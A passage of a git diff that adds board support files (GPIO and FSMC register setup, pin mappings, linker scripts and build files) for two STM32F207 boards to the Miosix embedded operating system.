PORTG | + //--+---------+---------+---------+---------+---------+---------+---------+ + // 0| AF11 | AF11 | IN | AF12 | AF12 | AF12 | AF12 | + // 1| AF11 | AF11 | AF11 | AF12 | AF12 | AF12 | AF12 | + // 2| AF11 | IN PD | AF11 | AF12 | OUT L | AF12 | AF12 | + // 3| AF11 | AF0 | AF11 | IN PD | IN PD | AF12 | AF12 | + // 4| OUT H | AF0 | AF11 | AF12 | IN PD | AF12 | AF12 | + // 5| AF5 | AF5 | AF11 | AF12 | IN PD | AF12 | AF12 | + // 6| AF5 | IN PD | OUT L | IN PD | IN PD | OUT L | IN PD | + // 7| AF11 | IN PD | IN PD | AF12 | AF12 | IN PU | IN PD | + // 8| AF0 | AF11 | AF12 | AF12 | AF12 | IN PD | IN PD | + // 9| AF7 | IN PD | AF12 | AF12 | AF12 | IN PD | IN PD | + //10| AF7 | AF11 | AF12 | AF12 | AF12 | IN PD | IN PD | + //11| AF10 | AF11 | AF12 | AF12 | AF12 | IN PD | IN PD | + //12| AF10 | AF11 | AF12 | AF12 | AF12 | AF12 | IN PD | + //13| AF0 | AF11 | IN | IN PD | AF12 | AF12 | IN PD | + //14| AF0 | AF12 | IN PD | AF12 | AF12 | AF12 | IN PD | + //15| AF0 | AF12 | IN PD | AF12 | AF12 | AF12 | IN PD | + + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; //Except SRAM GPIOs that run @ 100MHz + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xfbffefaf; + GPIOE->OSPEEDR=0xffffeaaf; + GPIOF->OSPEEDR=0xffaaafff; + GPIOG->OSPEEDR=0xaaaaafff; + + GPIOA->MODER=0xaaaaa9aa; + GPIOB->MODER=0xaaa20a8a; + GPIOC->MODER=0x02aa1aa8; + GPIOD->MODER=0xa2aa8a2a; + GPIOE->MODER=0xaaaa801a; + GPIOF->MODER=0xaa001aaa; + GPIOG->MODER=0x00000aaa; + + GPIOA->PUPDR=0x64000000; + GPIOB->PUPDR=0x0008a120; + GPIOC->PUPDR=0xa0008000; + GPIOD->PUPDR=0x08002080; + GPIOE->PUPDR=0x00002a80; + GPIOF->PUPDR=0x00aa4000; + GPIOG->PUPDR=0xaaaaa000; + + GPIOA->ODR=0x00000010; + GPIOB->ODR=0x00000000; + GPIOC->ODR=0x00000000; + GPIOD->ODR=0x00000000; + GPIOE->ODR=0x00000000; + GPIOF->ODR=0x00000000; + GPIOG->ODR=0x00000000; + + GPIOA->AFR[0]=11 | 11<<4 | 11<<8 | 11<<12 | 0<<16 | 5<<20 | 5<<24 | 11<<28; + GPIOA->AFR[1]= 0 | 7<<4 | 7<<8 | 10<<12 | 10<<16 | 0<<20 | 0<<24 | 0<<28; + GPIOB->AFR[0]=11 | 11<<4 | 0<<8 | 0<<12 | 0<<16 | 5<<20 | 0<<24 | 0<<28; + GPIOB->AFR[1]=11 | 0<<4 | 11<<8 | 11<<12 | 11<<16 | 11<<20 | 12<<24 | 12<<28; + GPIOC->AFR[0]= 0 | 11<<4 | 11<<8 | 11<<12 | 11<<16 | 11<<20 | 0<<24 | 0<<28; + GPIOC->AFR[1]=12 | 12<<4 | 12<<8 | 12<<12 | 12<<16 | 0<<20 | 0<<24 | 0<<28; + GPIOD->AFR[0]=12 | 12<<4 | 12<<8 | 0<<12 | 12<<16 | 12<<20 | 0<<24 | 12<<28; + GPIOD->AFR[1]=12 | 12<<4 | 12<<8 | 12<<12 | 12<<16 | 0<<20 | 12<<24 | 12<<28; + GPIOE->AFR[0]=12 | 12<<4 | 0<<8 | 0<<12 | 0<<16 | 0<<20 | 0<<24 | 12<<28; + GPIOE->AFR[1]=12 | 12<<4 | 12<<8 | 12<<12 | 12<<16 | 12<<20 | 12<<24 | 12<<28; + GPIOF->AFR[0]=12 | 12<<4 | 12<<8 | 12<<12 | 12<<16 | 12<<20 | 0<<24 | 0<<28; + GPIOF->AFR[1]= 0 | 0<<4 | 0<<8 | 0<<12 | 12<<16 | 12<<20 | 12<<24 | 12<<28; + GPIOG->AFR[0]=12 | 12<<4 | 12<<8 | 12<<12 | 12<<16 | 12<<20 | 0<<24 | 0<<28; + GPIOG->AFR[1]= 0 | 7<<4 | 7<<8 | 10<<12 | 10<<16 | 0<<20 | 0<<24 | 0<<28; + + //Configure FSMC + RCC->AHB3ENR=RCC_AHB3ENR_FSMCEN; + RCC_SYNC(); + volatile uint32_t& BCR1=FSMC_Bank1->BTCR[0]; + volatile uint32_t& BTR1=FSMC_Bank1->BTCR[1]; + BCR1=0x00001011; //16bit width, write enabled, SRAM mode + BTR1=0x00000200; //DATAST=2 +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f207zg_ethboard_v2/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f207zg_ethboard_v2/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..ee722713d --- /dev/null +++ b/miosix/arch/board/stm32f207zg_ethboard_v2/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,20 @@ +#pragma once + +#define STM32F207xx +#include "CMSIS/Device/ST/STM32F2xx/Include/stm32f2xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F2xx/Include/system_stm32f2xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f20x,f21x RCC synchronization is required per the device errata +//(ES0005 section 2.1.11). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 80, so there are 81 +#define MIOSIX_NUM_PERIPHERAL_IRQ 81 diff --git a/miosix/arch/board/stm32f207zg_ethboard_v2/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f207zg_ethboard_v2/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..81a8d6e2a --- /dev/null +++ b/miosix/arch/board/stm32f207zg_ethboard_v2/interfaces-impl/bsp.cpp @@ -0,0 +1,129 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "drivers/dcc.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Configure MCO to output 25MHz clock + RCC->CFGR |= RCC_CFGR_MCO1_1; + + ledOn(); + delayMs(100); + ledOff(); + + mii::res::high(); + + IRQsetDefaultConsole(intrusive_ref_ptr( + #ifndef STDOUT_REDIRECTED_TO_DCC + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma) + #else //STDOUT_REDIRECTED_TO_DCC + new ARMDCC + #endif //STDOUT_REDIRECTED_TO_DCC + )); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f207zg_ethboard_v2/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f207zg_ethboard_v2/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..a9e7323d2 --- /dev/null +++ b/miosix/arch/board/stm32f207zg_ethboard_v2/interfaces-impl/bsp_impl.h @@ -0,0 +1,77 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "hwmapping.h" +#include "drivers/stm32_hardware_rng.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ + +inline void ledOn() +{ + led::high(); +} + +inline void ledOff() +{ + led::low(); +} + +///\internal Pin connected to SD card detect +typedef sdio::cd sdCardDetect; + +/** + * Polls the SD card sense GPIO + * \return true if there is an uSD card in the socket. + */ +inline bool sdCardSense() +{ + return sdCardDetect::value()==0; +} + +/** +\} +*/ + +} //namespace miosix diff --git a/miosix/arch/board/stm32f207zg_ethboard_v2/interfaces-impl/hwmapping.h b/miosix/arch/board/stm32f207zg_ethboard_v2/interfaces-impl/hwmapping.h new file mode 100644 index 000000000..24a50eed2 --- /dev/null +++ b/miosix/arch/board/stm32f207zg_ethboard_v2/interfaces-impl/hwmapping.h @@ -0,0 +1,187 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +namespace miosix { + +typedef Gpio led; + +//Spare GPIOs, brought out to a connector +namespace gpio { +typedef Gpio g0; +typedef Gpio g1; +typedef Gpio g2; +typedef Gpio g3; +} + +//Gpios that connect the ethernet transceiver to the microcontroller +namespace mii { +typedef Gpio mdc; +typedef Gpio mdio; +typedef Gpio clk; +typedef Gpio res; +typedef Gpio irq; +typedef Gpio col; +typedef Gpio crs; +typedef Gpio rxc; +typedef Gpio rxdv; +typedef Gpio rxer; +typedef Gpio rxd0; +typedef Gpio rxd1; +typedef Gpio rxd2; +typedef Gpio rxd3; +typedef Gpio txen; +typedef Gpio txc; +typedef Gpio txd0; +typedef Gpio txd1; +typedef Gpio txd2; +typedef Gpio txd3; +} + +//External SRAM, connected to FSMC +namespace sram { +typedef Gpio cs1; +typedef Gpio oe; +typedef Gpio we; +typedef Gpio lb; +typedef Gpio ub; +typedef Gpio d0; +typedef Gpio d1; +typedef Gpio d2; +typedef Gpio d3; +typedef Gpio d4; +typedef Gpio d5; +typedef Gpio d6; +typedef Gpio d7; +typedef Gpio d8; +typedef Gpio d9; +typedef Gpio d10; +typedef Gpio d11; +typedef Gpio d12; +typedef Gpio d13; +typedef Gpio d14; +typedef Gpio d15; +typedef Gpio a0; +typedef Gpio a1; +typedef Gpio a2; +typedef Gpio a3; +typedef Gpio a4; +typedef Gpio a5; +typedef Gpio a6; +typedef Gpio a7; +typedef Gpio a8; +typedef Gpio a9; +typedef Gpio a10; +typedef Gpio a11; +typedef Gpio a12; +typedef Gpio a13; +typedef Gpio a14; +typedef Gpio a15; +typedef Gpio a16; +typedef Gpio a17; +} + +//Connections to the optional nRF24L01 radio module +namespace nrf { +typedef Gpio cs; +typedef Gpio sck; +typedef Gpio miso; +typedef Gpio mosi; +typedef Gpio ce; +typedef Gpio irq; +} + +//Serial port +namespace serial { +typedef Gpio tx; +typedef Gpio rx; +} + +//USB host port +namespace usbhost { +typedef Gpio dm; +typedef Gpio dp; +} + +//USB device port +namespace usbdevice { +typedef Gpio dm; +typedef Gpio dp; +} + +//MicroSD card slot +namespace sdio { +typedef Gpio d0; +typedef Gpio d1; +typedef Gpio d2; +typedef Gpio d3; +typedef Gpio ck; +typedef Gpio cd; +typedef Gpio cmd; +} + +//JTAG port +namespace jtag { +typedef Gpio tdi; +typedef Gpio tdo; +typedef Gpio tms; +typedef Gpio tck; +typedef Gpio trst; +} + +//Unused pins, configured as pulldown +namespace unused { +typedef Gpio u1; //Connected to ground, as it is boot1 +typedef Gpio u2; +typedef Gpio u3; +typedef Gpio u4; +typedef Gpio u5; +typedef Gpio u6; +typedef Gpio u7; +typedef Gpio u8; +typedef Gpio u9; +typedef Gpio u10; +typedef Gpio u11; +typedef Gpio u12; +typedef Gpio u13; +typedef Gpio u14; +typedef Gpio u15; +typedef Gpio u16; +typedef Gpio u17; +typedef Gpio u18; +typedef Gpio u19; +typedef Gpio u20; +typedef Gpio u21; +typedef Gpio u22; +typedef Gpio u23; +typedef Gpio u24; +} + +} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/EthBoardV2.cfg b/miosix/arch/board/stm32f207zg_ethboard_v2/openocd.cfg similarity index 100% rename from miosix/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/EthBoardV2.cfg rename to miosix/arch/board/stm32f207zg_ethboard_v2/openocd.cfg diff --git a/miosix/arch/board/stm32f207zg_ethboard_v2/processes-xram.ld b/miosix/arch/board/stm32f207zg_ethboard_v2/processes-xram.ld new file mode 100644 index 000000000..3b909086d --- /dev/null +++ b/miosix/arch/board/stm32f207zg_ethboard_v2/processes-xram.ld @@ -0,0 +1,22 @@ +/* + * Linker script for stm32f207 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +/* No _process_pool_size as it's fixed to the size of ram2 */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + ram1(wx) : ORIGIN = 0x20000000, LENGTH = 128K + ram2(wx) : ORIGIN = 0x60000000, LENGTH = 512K +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-2ram-separate-pool.ld diff --git a/miosix/arch/board/stm32f207zg_ethboard_v2/unikernel-all-in-xram.ld b/miosix/arch/board/stm32f207zg_ethboard_v2/unikernel-all-in-xram.ld new file mode 100644 index 000000000..1cb1fe52a --- /dev/null +++ b/miosix/arch/board/stm32f207zg_ethboard_v2/unikernel-all-in-xram.ld @@ -0,0 +1,16 @@ +/* + * Linker script for stm32f207 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + ram(wx) : ORIGIN = 0x60000000, LENGTH = 512K +} + +/* Mark ram as being an external RAM */ +_xram_start = ORIGIN(ram); +_xram_size = LENGTH(ram); + +INCLUDE ldscripts/miosix-all-in-xram.ld diff --git a/miosix/arch/board/stm32f207zg_ethboard_v2/unikernel-xram-heap.ld b/miosix/arch/board/stm32f207zg_ethboard_v2/unikernel-xram-heap.ld new file mode 100644 index 000000000..12b1aa2e5 --- /dev/null +++ b/miosix/arch/board/stm32f207zg_ethboard_v2/unikernel-xram-heap.ld @@ -0,0 +1,18 @@ +/* + * Linker script for stm32f207 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + ram1(wx) : ORIGIN = 0x20000000, LENGTH = 128K + ram2(wx) : ORIGIN = 0x60000000, LENGTH = 512K +} + +/* Mark ram2 as being an external RAM */ +_xram_start = ORIGIN(ram2); +_xram_size = LENGTH(ram2); + +INCLUDE ldscripts/miosix-flash-2ram-separate-heap.ld diff --git a/miosix/arch/board/stm32f207zg_nucleo/CMakeLists.txt b/miosix/arch/board/stm32f207zg_nucleo/CMakeLists.txt new file mode 100644 index 000000000..097a10368 --- /dev/null +++ b/miosix/arch/board/stm32f207zg_nucleo/CMakeLists.txt @@ -0,0 +1,34 @@ +## +## CMakeLists.txt for board stm32f207zg_nucleo +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f2) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sdmmc/stm32f2_f4_f7_sd.cpp + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F207ZG_NUCLEO) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F207ZG_NUCLEO) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32f207zg_nucleo/Makefile.inc b/miosix/arch/board/stm32f207zg_nucleo/Makefile.inc new file mode 100644 index 000000000..4b8f0c45e --- /dev/null +++ b/miosix/arch/board/stm32f207zg_nucleo/Makefile.inc @@ -0,0 +1,27 @@ +## +## Makefile for board stm32f207zg_nucleo +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f2 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +arch/drivers/sdmmc/stm32f2_f4_f7_sd.cpp \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F207ZG_NUCLEO +BOARD_CXXFLAGS := -D_BOARD_STM32F207ZG_NUCLEO + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32f207zg_nucleo/boot.cpp b/miosix/arch/board/stm32f207zg_nucleo/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f207zg_nucleo/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f207zg_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f207zg_nucleo/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..ee722713d --- /dev/null +++ b/miosix/arch/board/stm32f207zg_nucleo/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,20 @@ +#pragma once + +#define STM32F207xx +#include "CMSIS/Device/ST/STM32F2xx/Include/stm32f2xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F2xx/Include/system_stm32f2xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f20x,f21x RCC synchronization is required per the device errata +//(ES0005 section 2.1.11). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 80, so there are 81 +#define MIOSIX_NUM_PERIPHERAL_IRQ 81 diff --git a/miosix/arch/board/stm32f207zg_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f207zg_nucleo/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..e5f3911b1 --- /dev/null +++ b/miosix/arch/board/stm32f207zg_nucleo/interfaces-impl/bsp.cpp @@ -0,0 +1,137 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * + * Copyright (C) 2023, 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "drivers/dcc.h" +#include "board_settings.h" +#include "hwmapping.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios exposed by the LQFP144 package + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOGEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + GPIOE->OSPEEDR=0xaaaaaaaa; + GPIOF->OSPEEDR=0xaaaaaaaa; + GPIOG->OSPEEDR=0xaaaaaaaa; + led1::mode(Mode::OUTPUT); + led2::mode(Mode::OUTPUT); + led3::mode(Mode::OUTPUT); + btn::mode(Mode::INPUT); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f207zg_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f207zg_nucleo/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..4ae8d8d2d --- /dev/null +++ b/miosix/arch/board/stm32f207zg_nucleo/interfaces-impl/bsp_impl.h @@ -0,0 +1,70 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * Copyright (C) 2023 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "interfaces/gpio.h" +#include "drivers/stm32_hardware_rng.h" +#include "hwmapping.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +inline void ledOn() +{ + led1::high(); +} + +inline void ledOff() +{ + led1::low(); +} + +/** + * Polls the SD card sense GPIO + * \return true if there is an uSD card in the socket. + * \note Always returns true for this board because there is no built-in SD card + * socket. + */ +inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix diff --git 